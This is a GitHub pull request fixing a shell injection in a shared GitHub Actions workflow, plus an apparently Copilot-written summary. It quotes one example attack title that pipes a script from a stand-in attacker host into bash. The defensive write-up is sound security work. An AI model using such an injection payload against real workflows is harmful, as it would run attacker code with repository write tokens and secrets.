PDP-1182 SECCMP-1797: Fix PwnRequest shell injection in jira-id-check.yml

[GAdityaVarma]

JIRA: https://progresssoftware.atlassian.net/browse/PDP-1182

SECCMP-1797: Fix PwnRequest Shell Injection in jira-id-check.yml

Vulnerability

This workflow uses pull_request_target which runs with the base repo's write permissions and secrets. The PR title (github.event.pull_request.title) was directly interpolated into shell run: blocks via ${{ }} expressions:

# BEFORE (vulnerable)
PR_TITLE="${{ inputs.pr-title }}"

GitHub Actions renders ${{ }} expressions before the shell executes. An attacker could fork the repo, open a PR with a title like:

"; curl attacker.com/shell.sh | bash; echo "

This would execute arbitrary commands with the repo's write token - classic PwnRequest attack.

Fix

All attacker-controlled inputs are now passed through env: variables instead of direct ${{ }} interpolation in run: blocks:

# AFTER (safe)
env:
  INPUT_PR_TITLE: ${{ inputs.pr-title }}
  EVENT_PR_TITLE: ${{ github.event.pull_request.title }}
run: |
  PR_TITLE="$INPUT_PR_TITLE"

Environment variables are set outside the shell context and accessed safely via $VAR syntax, preventing injection.

Additional hardening

• Added explicit permissions: pull-requests: read to enforce least privilege (this job only reads PR titles, never writes)

Impact

This central reusable workflow is called by 14 repos across the marklogic org. Fixing it here remediates the injection vector for all callers.

References

• SECCMP-1797
• GitHub Security: Keeping your GitHub Actions and workflows secure - Part 1

[Copilot]

Pull request overview

This PR hardens the central jira-id-check.yml GitHub Actions workflow against PwnRequest-style shell injection by avoiding direct ${{ }} interpolation inside run: scripts, and it reduces token privileges for least-privilege execution.

Changes:

• Pass PR title and other potentially attacker-controlled values into the script via env: variables and reference them as shell variables.
• Add explicit job-level permissions: pull-requests: read.
• Minor log output adjustments while preserving the existing title re-fetch via gh pr view.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.